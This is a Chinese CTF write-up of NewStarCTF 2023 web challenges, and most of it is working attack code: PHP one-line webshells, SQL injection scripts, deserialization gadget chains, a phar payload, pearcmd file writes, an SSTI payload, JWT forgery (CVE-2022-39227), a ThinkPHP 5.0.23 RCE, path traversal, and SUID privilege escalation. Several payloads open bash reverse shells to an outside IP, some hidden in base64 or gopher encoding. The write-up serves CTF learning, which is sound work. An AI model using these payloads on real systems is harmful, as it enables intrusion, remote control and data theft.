NewStarCTF 2023 公开赛道

NewStarCTF 2023 公开赛道

Week 1 WEB

泄漏的秘密

泄露的秘密,直接看常见的目录robots.txt,www.zip直接那道两段flag

也可以用dirsearch工具扫描,但是BUUOJ平台的网站只能开底线程,不然全是429

PART ONE: flag{r0bots_1s_s0_us3ful
$PART_TWO = "_4nd_www.zip_1s_s0_d4ng3rous}";

flag{r0bots_1s_s0_us3ful_4nd_www.zip_1s_s0_d4ng3rous}

Begin of Upload

上传一个a.png的文件,这个网站只有前端进行了验证,后端没有验证,直接改文件名绕过就行了

马的内容:

<?php eval($_GET['1']); ?>

http://fbefab32-f23f-4f53-821c-128740badc63.node4.buuoj.cn:81/upload/a.php?1=system(%27cat%20/fllll4g%27);

Begin of HTTP

考的http协议相关请求头的知识

GET /?ctf=1
POST secret=n3wst4rCTF2023g00000d
User-Agent: NewStarCTF2023
Cookie: power=ctfer
X-Real-IP: 127.0.0.1

ErrorFlask

python的网站开启了debug模式,我们给number1,number2传入字符即可产生报错,直接找debug信息里面找flag

Begin of PHP

这个直接用数组全部绕过了

http://899e8510-bdc3-4be6-abac-16684c097bbc.node4.buuoj.cn:81/?key1[]=1&key2[]=2&key4[]=1&key5[]=132123

key3[]=1&flag5=+

这里有一个extract($_POST);函数,这个函数是进行变量覆盖的作用

extract函数:

https://crayon-xin.github.io/2018/05/21/extract%E5%8F%98%E9%87%8F%E8%A6%86%E7%9B%96/

WEEK2|WEB

R!C!E!

第一直接脚本爆破

找到数字为114514

import hashlib
target_string = 'c4d038'
def md5_last5(string):
    # 计算字符串的md5散列值
    md5_hash = hashlib.md5(string.encode()).hexdigest()
    # 截取前面6位字符
    last_5 = md5_hash[:6]  # md_hash[-6:]是后6位
    return last_5
# 114514
for j in range(1,9999999999):
    i = str(j)
    print(md5_last5(i))
    if(md5_last5(i)==target_string):
        print(i)
        break

直接亦或无参数绕过

password=114514&e[v.a.l=("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%03%01%08%00%00%06%00"^"%60%60%7c%20%2f%60%2a");

PHP变量流量层面WAF绕过

PHP 7.3.4 在FPM模式下运行:

变量名和值会进行url解码:

以解析$_GET变量为例,大致流程为:获取请求字符串-->获取分割符&-->使用=分割key和value。
在解析key和value时,会分别对其进行url解码,关键代码如下:
if (val) { /* have a value */
            size_t val_len;
            size_t new_val_len;

            *val++ = '\0';
            // 对key进行url解码
            php_url_decode(var, strlen(var));
            // 对value进行url解码
            val_len = php_url_decode(val, strlen(val));
            val = estrndup(val, val_len);
            if (sapi_module.input_filter(arg, var, &val, val_len, &new_val_len)) {
                php_register_variable_safe(var, val, new_val_len, &array);
            }
            efree(val);
    }

变量名截断:

我们知道00在C语言中意味着字符串的结尾,其编码为%00。
在对key进行url解码之后,%00转换为00而截断了key字符串。
但是对value进行url解码的时候,获取了其返回值val_len,即字符串长度,后续注册变量时,也是使用val_len进行内存中的操作,所以未能截断value的值

变量名之前的空格会被忽略

URL 不能包含空格。URL 编码通常使用 + 来替换空格
使用%20替换空格
在注册变量时,PHP会对变量名进行判断,丢弃变量名前的空格,关键代码如下:
while (*var_name==' ') {
        var_name++;
    }

变量名的空格和.会转化为_:

首先明确一个问题,PHP的变量名中是不能包含点号的。 但是为了处理表单中的点号命名,PHP就会自动把点号.转换成下划线_。
这个转换的过程也是发生在PHP变量的注册过程中,关键代码如下:
/* ensure that we don't have spaces or dots in the variable name (not binary safe) */
    for (p = var; *p; p++) {
        if (*p == ' ' || *p == '.') {
            *p='_';
        } else if (*p == '[') {
            is_array = 1;
            ip = p;
            *p = 0;
            break;
        }
    }

变量名的[会转换为_:

这个转换过程与.的转换过程不同。PHP在遇到[符号时,会认为变量为数组。后续进行数组处理时,如果未能找到与[匹配的],则会将[替换为.。关键代码如下:
ip = strchr(ip, ']');
        if (!ip) {
            /* PHP variables cannot contain '[' in their names, so we replace the character with a '_' */
            *(index_s - 1) = '_';

            index_len = 0;
            if (index) {
                index_len = strlen(index);
            }
            goto plain_var;
            return;
        }

Z1d10t师傅浇我的:

https://www.z1d10t.fun/post/8bc42760.html?highlight=%E4%B8%8B%E5%88%92%E7%BA%BF

只有第一个字符为[时 后面的非法字符才不会被转为下划线

在这里还剽窃到一个新姿势:

读文件可以用more来绕过

还有一种通配符是[]可以匹配指定范围中的任意字符 那么 f和g就可以用[e-h]来绕过

a是字母表第一个,该怎么绕过呢,我们可以构造[非数字]形式:[^0-9] 这里尖括号就是排除匹配范围,这也就可以包含所有字母 来达到获取a的效果了

md5碰撞:

fuck%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00O%EC%28%FE%D4%C2%22%FA%40Lx%CFC%3CqMx%975%EA%0F%B7Tq%28.%7F%26%D7%8A2%F8%EC%08%BC%E9%60j%0B%DA%CF%05%40q%C2%DDa7%D0%40%C6i%97%10l%84%9D%BA%7FK%7E%FEq%A6%3F%E4%5Dl%06%7F%7F%0A%05%F6%DB%EDQ%ED%28%3D%CEhjj%15%FC%A0X%C1%1B%F5%CC%CD0%5D%A2%F5P%17%03.%8Crb%93%83%C0%EF%C2AF%88%DC%97%A0%85%CF%DA%A2G%F6%D7%0Cw%0E%A3%94%9B

fuck%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00O%EC%28%FE%D4%C2%22%FA%40Lx%CFC%3CqMx%975j%0F%B7Tq%28.%7F%26%D7%8A2%F8%EC%08%BC%E9%60j%0B%DA%CF%05%40q%C2%5Db7%D0%40%C6i%97%10l%84%9D%BA%7F%CB%7E%FEq%A6%3F%E4%5Dl%06%7F%7F%0A%05%F6%DB%EDQ%ED%28%3D%CEhj%EA%15%FC%A0X%C1%1B%F5%CC%CD0%5D%A2%F5P%17%03.%8Crb%93%83%C0%EF%C2%C1E%88%DC%97%A0%85%CF%DA%A2G%F6%D7%0C%F7%0E%A3%94%9B

flag{c8a0f34a-c88f-4879-ae81-64c8fcaece2a}

Unserialize?

这个简单的php,绕过正则就行,找不到wp了,这题绕过方法应该挺多的

EasyLogin

用弱口令直接爆密码为000000,然后抓重定向302的包就可以拿到flag了

flag{961a0630-c1b9-41b8-b330-248674981617}

游戏高手

游戏高手这题简单,直接查找源码,然后修改分数就行

ez_sql

这题一分钟sql注入直接跑

sqlmap -u http://87173586-d547-42ca-a61c-7aaa6c3d70a2.node4.buuoj.cn:81/?id=TMP11503 --dbs

sqlmap -u http://87173586-d547-42ca-a61c-7aaa6c3d70a2.node4.buuoj.cn:81/?id=TMP11503 -D ctf -T --clomns

sqlmap -u http://87173586-d547-42ca-a61c-7aaa6c3d70a2.node4.buuoj.cn:81/?id=TMP11503 -D ctf -tables
 
sqlmap -u http://87173586-d547-42ca-a61c-7aaa6c3d70a2.node4.buuoj.cn:81/?id=TMP11503 -D ctf -T here_is_flag --clomns
 
sqlmap -u http://87173586-d547-42ca-a61c-7aaa6c3d70a2.node4.buuoj.cn:81/?id=TMP11503 -D ctf -T here_is_flag --columns
 
 
sqlmap -u http://87173586-d547-42ca-a61c-7aaa6c3d70a2.node4.buuoj.cn:81/?id=TMP11503 -D ctf -T here_is_flag -C "flag" --dump

Upload again!

这个是appache服务器,这题上传.htaccess配置文件就可以了,把站下面所有的文件解析为php

然后上传一个图片就ok了

GIF89a
<script language='php'>eval($_REQUEST[1]);</script>

WEEK3|WEB

Include 🍐

考点pearcmd

?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=@eval($_POST[1]);?>+/tmp/test.php

用BP打包,用BP发包,用BP发包!!

Hackbar和url都会自动的进行一次url编码

?file=/tmp/test

直接拿shell了

R!!!C!!!E!!!

此题利用\来转义绕过,然后通过管道符把读取的内容写在根目录下,然后我们直接访问写到根目录下的文件就行

<?php
highlight_file(__FILE__);

class Begin{
    public $name;

    public function __destruct()
    {
        if(preg_match("/[a-zA-Z0-9]/",$this->name)){
            echo "Hello";
        }else{
            echo "Welcome to NewStarCTF 2023!";
        }
    }
}

class Then{
    private $func;

    public function __toString()
    {
        ($this->func)();
        return "Good Job!";
    }

}

class Handle{
    protected $obj;

    public function __call($func, $vars)
    {
        $this->obj->end();
    }

}

class Super{
    protected $obj;
    public function __invoke()
    {
        $this->obj->getStr();
    }

    public function end()
    {
        die("==GAME OVER==");
    }
}

class CTF{
    public $handle;

    public function end()
    {
        unset($this->handle->log);
    }

}

class WhiteGod{
    public $func;
    public $var;

    public function __unset($var)
    {
        ($this->func)($this->var);    
    }
}

$a = new minipop;
$a->qwejaskdjnlka = new minipop;
$a->qwejaskdjnlka->code = "cat /flag_is_h3eeere|te\\e /var/www/html/2";
echo serialize($a);

POP Gadget

pop链子:

<?php
class Begin{
    public $name;
}
class Then{
    private $func;
    public function __construct(){
        $this->func = new Super();
    }
}
class Handle{
    protected $obj;
    public function __construct(){
        $this->obj = new CTF();
    }
}
class Super{
    protected $obj;
    public function __construct(){
        $this->obj = new Handle();
    }
}
class CTF{
    public $handle;
    public function __construct(){
        $this->handle = new WhiteGod();
    }


}
class WhiteGod{
    public $func = 'system';
    public $var = 'cat /flag';
}
$a = new Begin();
$a->name = new Then();
echo urlencode(serialize($a));

medium_sql

写的二分盲注脚本:

import requests
import time
url = 'http://3984f01f-9843-4df0-a21f-95a7eff68063.node4.buuoj.cn:81/'
result=''
for i in range(1,50):
    low=31
    high=127
    mid = (low+high)//2
    while low<=high:
        paylaod = "TMP0929'And/**/0^(Ascii(Substr((Select(flag)from(ctf.here_is_flag)),{},1))>{})%23".format(i,mid)
        #爆库爆数据语句差不多 关键字被ban大写绕过就行
        r = requests.get(url+"?id="+paylaod)
        if ("English" in r.text):
            low = mid+1
            mid = (low+high)//2
        else:
            high = mid-1
            mid = (low+high)//2
    result+=chr(high+1)
    time.sleep(0.3)
    print(result)

GenShin

不太会ssti,喜欢当脚本小子

docker run --net host -it marven11/fenjing webui 

payload:

{'name': '{%print(((g.pop.__globals__.__builtins__.__import__("os")["p""open"]("cat /flag")).read()))%}'},表单为{'action': '/secr3tofpop', 'method': 'GET', 'inputs': {'name'}}

OtenkiGirl

这题看到有一个原型链污染的路由/submit

看到这里有个提示

Remove test data from before the movie was released
删除测试之前的数据

所以我们的flag可能就在我们之前的时间里面,所以我们构造payload污染时间即可

这题关键信息在这,我们可以看到,查询语句这里最后where主要的判断是 timestamp>=所以,我们只需要改变timestamp的值即可,看上下文,如果我们想要改变这个值的话,我们需要污染min_public_time时间尽量小

async function getInfo(timestamp) {
    timestamp = typeof timestamp === "number" ? timestamp : Date.now();
    // Remove test data from before the movie was released
    let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();
    timestamp = Math.max(timestamp, minTimestamp);
    const data = await sql.all(`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?`, [timestamp]).catch(e => { throw e });
    return data;
}

然后我们直接上payload打就行

{
   "date":"1",
   "place":"1",
   "contact":"1",
    "reason":"1",
    "timestamp":1698317269591,
	"__proto__":{
    "min_public_time":"2019-07-09"}
}

这题主要需要仔细,需要你明白整个程序的逻辑,明白出题人想让你污染什么,

Week4|WEB

考点:

php反序列化字符串逃逸

经典反序列化逃逸

/?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:7:"cat /f*";}

直接打就行

More Fast

考点:

1.GC回收机制

考了一个GUCI回收机制,直接秒了

 <?php
highlight_file(__FILE__);

class Start{
    public $errMsg;
    public function __destruct() {
        die($this->errMsg);
    }
}

class Pwn{
    public $obj;
    public function __invoke(){
        $this->obj->evil();
    }
    public function evil() {
        phpinfo();  //
    }
}

class Reverse{
    public $func;
    public function __get($var) {
        ($this->func)();  //
    }
}

class Web{
    public $func;
    public $var;
    public function evil() {
        if(!preg_match("/flag/i",$this->var)){
            ($this->func)($this->var);  //
        }else{
            echo "Not Flag";
        }
    }
}

class Crypto{
    public $obj;
    public function __toString() {
        $wel = $this->obj->good;  //
        return "NewStar";
    }
}

class Misc{
    public function evil() {
        echo "good job but nothing";
    }
}

//$c = @unserialize($_POST['fast']);
//throw new Exception("Nope");
$a = new Start;
$a->errMsg = new Crypto;
$a->errMsg->obj = new Reverse;
$a->errMsg->obj->func = new Pwn;
$a->errMsg->obj->func->obj = new Web;
$a->errMsg->obj->func->obj->func = system;
$a->errMsg->obj->func->obj->var = "cat /f*";
$b = array($a,NULL);
echo serialize($b);

PharOne

这题是phar反序列化

fopen() unlink() stat() fstat() fseek() rename() opendir() rmdir() mkdir() file_put_contents() file_get_contents() 
file_exists() fileinode() include() require() include_once require_once() filemtime() fileowner() fileperms() 
filesize() is_dir() scandir() rmdir() highlight_file()
//外加一个类
new DirectoryIteartor()

这些函数都能触发phar反序列化

源码分析发现有个unlink函数

 <?php
highlight_file(__FILE__);
class Flag{
    public $cmd;
    public function __destruct()
    {
        @exec($this->cmd);
    }
}
@unlink($_POST['file']); 

写脚本生成phar包

<?php
class Flag{
    public $cmd;
}
$a =new Flag();
$a->cmd = "bash -c 'sh -i &>/dev/tcp/36.139.110.159/7777 0>&1'";
$phar = new Phar('1.phar');  # 生成的phar
$phar->stopBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); # 
$phar-> setMetadata($a);  # 写入反序列化的内容
$phar -> addFromString('1.txt','1'); # 添加压缩的内容
$phar->stopBuffering();  # 计算标签
?>

然后发现过滤了__HALT_COMPILER

用gzip命令绕过过滤就行

gzip 1.phar

然后还对文件头进行了限定文件后缀,改文件后缀即可

file=phar://upload/26a529ffa3ed210b7fa7c584a7ee4c33.png/1.phar

反弹shell成功,结束

flask disk

考点:

1.文件上传导致覆盖getshell

直接上传一个app.py文件,直接弹shell

因为上传app.py会覆盖之前的文件,所以我们就可以getshell了

后面预期解法看到了file.save会覆盖已存在的文件

import os

os.system("bash -c \"bash -i >& /dev/tcp/36.139.110.159/7777 0>&1\"")
from flask import Flask,request,send_file
import os,datetime
app = Flask(__name__)

@app.route('/',methods=['GET'])
def index():
    return '<h1>Welcome to my flask disk</h1><a href="/list">list files</a><br><a href="/upload">upload files</a><br><a href="/console">admin manage</a>'

@app.route('/list',methods=['GET'])
def list():
    dirs = os.listdir('.')
    items = ''
    for dir in dirs:
        if os.path.isfile(dir):
            create_time = int(os.path.getctime(dir))
            create_time = datetime.datetime.fromtimestamp(create_time)
            item =f'</pre>{dir}  {str(os.path.getsize(dir))}b  {create_time}</pre><br><br>'
            items += item
            items += '\n'
    return items

@app.route('/upload',methods=['GET','POST'])
def upload():
    if request.method == 'GET':
        s='<form action="/upload" method="POST" enctype="multipart/form-data"><input type="file" name="file"><input type="submit" value="Upload"></form>'
        return s
    elif request.method == 'POST':
        file = request.files['file']
        if '..' in file.filename or '/' in file.filename:
            return '.. and / are not allowed!'
        
        file.save(file.filename)
        return 'upload success. <a href="/list">check</a>'
    
@app.route('/download',methods=['GET','POST'])
def download():
    filename = request.args.get('filename')
    if filename and os.path.exists(filename):
        if '..' in filename or '/' in filename:
            return '.. and / are not allowed!'
        return send_file(filename,as_attachment=True)
    else:
        return 'no file to download or file not exist'

if __name__=='__main__':
    app.run(host='0.0.0.0',debug=True,port=5000)

下载出来的源码

midsql

这题延时严重

import requests
# from tqdm import trange
res = ''
last = ' '
headers = {
    'Host': '1ae3a3ec-d220-4c01-87b7-6987c878cd74.node4.buuoj.cn:81',
    'Cache-Control': 'max-age=0',
    'Upgrade-Insecure-Requests': '1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'Referer': 'http://1ae3a3ec-d220-4c01-87b7-6987c878cd74.node4.buuoj.cn:81',
    'Accept-Encoding': 'gzip, deflate',
    'Accept-Language': 'zh-CN,zh;q=0.9'
}
for i in range(1, 1000):
    for j in range(127, 31, -1):
        url = r'http://1ae3a3ec-d220-4c01-87b7-6987c878cd74.node4.buuoj.cn:81/?id='
        # payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(schema_name)/**/from/**/information_schema.schemata),{i},1))>{j}),sleep(3),0)' # information_schema,mysql,performance_schema,sys,test,ctf
        # payload = rf'1/**/and/**/if((ascii(substr((select/**/database()),{i},1))>{j}),sleep(3),0)'
        # payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/"ctf"),{i},1))>{j}),sleep(3),0)'
        # payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/"items"),{i},1))>{j}),sleep(3),0)' # id,name,price
        # payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(price)/**/from/**/ctf.items),{i},1))>{j}),sleep(3),0)'
        # payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(id,0x3a,name,0x3a,price)/**/from/**/ctf.items),{i},1))>{j}),sleep(3),0)'
        payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(name)/**/from/**/ctf.items),{i},1))>{j}),sleep(4),0)'
        url = url + payload
        # print(url)
        try:
            response = requests.get(url=url, timeout=4)
        except Exception as e:
            last = res
            # print(chr(j+1))
            res += chr(j+1)
            # print(res)
            break
    print('[*] ' + res)

Week5|WEB

Unserialize Again

非预期解法:

这题应该是被非预期了,直接根目录下写🐎就行了

/pairing.php?pear=/var/www/html/a.php&apple=
    
    
<?php eval($_POST[1]); ?>

猜测预期解是打phar吧

预期解法:


pppython?

考点:

1.计算pin🐎

2.ssrf

3.利用pin🐎算cookie

第一步发现有个ssrf接口,先绕过前面几步

这题用到一个技巧是手算cookie

计算pin🐎还是哪些老步骤了

我这里用的是工具来计算的cookie

得用gopher协议来打,实现rce,脚本:

import urllib.parse
import urllib.request

cmd = 'whoami'
s = "KsDz7oqmCrFx5nOp8vKz"
host = "127.0.0.1:1314"
# cookie = "__wzddde03e10368497982792=1698651626|c9f35062072d"
pin = "113-575-700"
poc = f"""GET http://127.0.0.1:1314/console?&__debugger__=yes&pin={pin}&cmd={cmd}&frm=0&s={s} HTTP/1.1
Host: {host}
Connection: close
"""

new_poc = urllib.parse.quote(poc).replace('%0A', '%0D%0A')
res = f'gopher://{host}/_' + new_poc
print(urllib.parse.quote(res))

最终的payload:

/?url=gopher%3A//127.0.0.1%3A1314/_GET%2520/console%253F%2526__debugger__%253Dyes%2526cmd%253D__import__%2528%252522os%252522%2529.popen%2528%252522bash%252520-c%252520%25255C%252522bash%252520-i%252520%25253E%252526%252520%25252Fdev%25252Ftcp%25252F36.139.110.159%25252F7777%252520%25253C%2525261%25255C%252522%252522%2529%2526frm%253D0%2526s%253DZinxRVqfynmCiJZQaF9j%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A1314%250D%250AConnection%253A%2520close%250D%250ACookie%253A%2520__wzd734478c6106a1a37ad92%253D1698655413%257Caa64bc59c8d3%250D%250A&lolita[]=1

Ye's Pickle

这题看了看源码,随机数比较大不能爆破,开了debug报错源码中看到了secret不知道有什么用

参考链接:

https://github.com/davedoesdev/python-jwt/blob/master/test/vulnerability_vows.py

https://blog.csdn.net/your_friends/article/details/127832505 (webfun CVE-2022-39227)

考点:

1.pickle反序列化

2.CVE-2022-39227

from datetime import timedelta
from json import loads, dumps
# from common import generated_keys
import python_jwt as jwt
from pyvows import Vows, expect
from jwcrypto.common import base64url_decode, base64url_encode

def topic(topic):
    """ Use mix of JSON and compact format to insert forged claims including long expiration """
    [header, payload, signature] = topic.split('.')
    parsed_payload = loads(base64url_decode(payload))
    print(parsed_payload)
    parsed_payload['role'] = "admin"
    print(parsed_payload)
    fake_payload = base64url_encode(
        (dumps(parsed_payload, separators=(',', ':'))))
    print (header+ '.' +fake_payload+ '.' +signature)
    # print (header+ '.' + payload+ '.' +signature)
    a = header+ '.' +fake_payload+ '.' +signature

    # print(q)
    return '{"  ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'

originaltoken = '''eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2OTg3NjQ0NzYsImlhdCI6MTY5ODc2MDg3NiwianRpIjoiWUN1WXdmLWFFSFVhNmNRWnlkclRFdyIsIm5iZiI6MTY5ODc2MDg3Niwicm9sZSI6Imd1ZXN0IiwidXNlcm5hbWUiOiJib29naXBvcCJ9.aYoTc0VuYSWMrV3qYyVY0rIODjBUTGwcNxun4s6Hx5lbhl0IqrT7LJm9ORJe6bDLO9rdtu2W6yBMVTay9LOM6BojGekMAL4CNZrGYKpg0twIYz9ptCp83y-1lfh6Dwoa_JY27jEQUlSNWBsJqJ-0USKhJ4OCReR1OtPwxFPAZRAuzBFzRh93pr9ePt663upc38rorgx6njKcEwzQmBoHICEak3wOJNSBykEsKAQ6-cf44y_9GsKPTBe4PzQR2ba6Q6HiKjRwHMP3q-mrxBIttQqPqhtiKOxzZgzt3BBFCDrrS5neRseQC_b5Og6s2e2hWNnCI0C-BvE0j5Djjd1Cnw'''
topic = topic(originaltoken)
print(topic)

伪造jwt成功,用这个session直接打pickle反序列化,后面的反序列化就简单了

/?token=KGNvcwpzeXN0ZW0KUydiYXNoIC1jICdzaCAtaSAmPi9kZXYvdGNwLzM2LjEzOS4xMTAuMTU5Lzc3NzcgMD4mMScnCm8u

直接服务器上拿flag就结束了

Final

Thinkphp 5.0.23框架的一个远程rce漏洞

/index.php?s=captcha&test=-1

_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1

出现配置文件,存在远程rce漏洞,disable_function只禁用了system函数

1/index.php?s=captcha

_method=__construct&filter[]=exec&method=get&server[REQUEST_METHOD]=echo -n YWE8P3BocCBAZXZhbCgkX1JFUVVFU1RbJ2F0dGFjayddKTsgPz5iYg== | base64 -d > index.php

改一改payload写一句话木马上传,发现没有权限可以读flag。

我们就在上传一个反弹shell的文件上去,访问它就可以反弹shell了

bash -c 'sh -i &>/dev/tcp/36.xxx.xxx.159/7777 0>&1'

反弹shell成功,然后发现没有权限读文件

find / -user root -perm -4000 -print 2>/dev/null
/bin/cp
/bin/mount
/bin/su
/bin/umount
## 来到根目录下
cp ./flag_dd3f6380aa0d /etc/passwd
cat /etc/passwd
flag{abc80326-d717-4013-b22c-1d705360a6b3}

NextDrive

逻辑漏洞

看hint了解秒传的原理:


发现test.res.http文件里面有返回包,没有响应包(而且有个标签好像是Yours,太懒了不重新打开看了),于是我们想办法用秒传原理链接到test.res.http文件,然后利用秒传的逻辑漏洞,上传一个任意文件改掉hash值和test.res.http相同即可,发现里面有token和uid进行身份伪造

看share.js文件

const Router = require("koa-router");
const router = new Router();
const CONFIG = require("../../runtime.config.json");
const Res = require("../../components/utils/response");
const FileSignUtil = require("../../components/utils/file-signature");
const { DriveUtil } = require("../../components/utils/database.utilities");
const fs = require("fs");
const path = require("path");
const { verifySession } = require("../../components/utils/session");
const logger = global.logger;

/**
 * @deprecated
 * ! FIXME: 发现漏洞,请进行修改
 */
router.get("/s/:hashfn", async (ctx, next) => {
    const hash_fn = String(ctx.params.hashfn || '')
    const hash = hash_fn.slice(0, 64)
    const from_uid = ctx.query.from_uid
    const custom_fn = ctx.query.fn

    // 参数校验
    if (typeof hash_fn !== "string" || typeof from_uid !== "string") {
        // invalid params or query
        ctx.set("X-Error-Reason", "Invalid Params");
        ctx.status = 400; // Bad Request
        return ctx.res.end();
    }

    // 是否为共享的文件
    let IS_FILE_EXIST = await DriveUtil.isShareFileExist(hash, from_uid)
    if (!IS_FILE_EXIST) {
        ctx.set("X-Error-Reason", "File Not Found");
        ctx.status = 404; // Not Found
        return ctx.res.end();
    }

    // 系统中是否存储有该文件
    let IS_FILE_EXIST_IN_STORAGE
    try {
        IS_FILE_EXIST_IN_STORAGE = fs.existsSync(path.resolve(CONFIG.storage_path, hash_fn))
    } catch (e) {
        ctx.set("X-Error-Reason", "Internal Server Error");
        ctx.status = 500; // Internal Server Error
        return ctx.res.end();
    }
    if (!IS_FILE_EXIST_IN_STORAGE) {
        logger.error(`File ${hash_fn.yellow} not found in storage, but exist in database!`)
        ctx.set("X-Error-Reason", "Internal Server Error");
        ctx.status = 500; // Internal Server Error
        return ctx.res.end();
    }

    // 文件名处理
    let filename = typeof custom_fn === "string" ? custom_fn : (await DriveUtil.getFilename(from_uid, hash));
    filename = filename.replace(/[\\\/\:\*\"\'\<\>\|\?\x00-\x1F\x7F]/gi, "_")

    // 发送
    ctx.set("Content-Disposition", `attachment; filename*=UTF-8''${encodeURIComponent(filename)}`);
    // ctx.body = fs.createReadStream(path.resolve(CONFIG.storage_path, hash_fn))
    await ctx.sendFile(path.resolve(CONFIG.storage_path, hash_fn)).catch(e => {
        logger.error(`Error while sending file ${hash_fn.yellow}`)
        logger.error(e)
        ctx.status = 500; // Internal Server Error
        return ctx.res.end();
    })
})

module.exports = router;

看来share.js文件,只需绕过前面的几个判断就行,然后目录穿越,再控制fn=/proc/self/environ就行
最终payload:

/s/98d69972f5fa8ac77185170ec3128ea18fbd5be187e88596bbd321fbd65b79f0/../../../../../proc/self/environ?from_uid=100000&fn=/proc/self/environ 

4-复盘

为了做这题我首先去做了

MISC:

week2-1-序章

手撸flag(ex

you_w4nt_s3cretflag{just_w4rm_up_s0_you_n3ed_h4rder_6026cd32}

然后我以为可能和sql注入相关,然后写了一共烂的脚本,发现注入不出来,我测试了sql语句发现不行,看了源码中的sql.ini(疑惑

这个flag应该不对,重新看index.php,发现有个文件包含函数可以用,直接打pearcmd写shell到根目录下

/index.php?+config-create+/&page=/../../../../../usr/local/lib/php/pearcmd&/<?=@eval($_GET[1])?>+/var/www/html/a.php

读flag发现不行,没有权限,弹shell进行suid提权

find / -user root -perm -4000 -print 2>/dev/nul
## 没找到有suid权限的命令,然后到/bin目录下一个个看,发现有gzip
-rwsr-xr-x 1 root root     59976 Jun 17  2021 passwd
-rwsr-xr-x 1 root root     55680 Oct 27  2021 su
-rwsr-xr-x 1 root root     93424 Oct  7  2021 gzip可以用,回到根目录
gzip -g flag -t

本题就结束了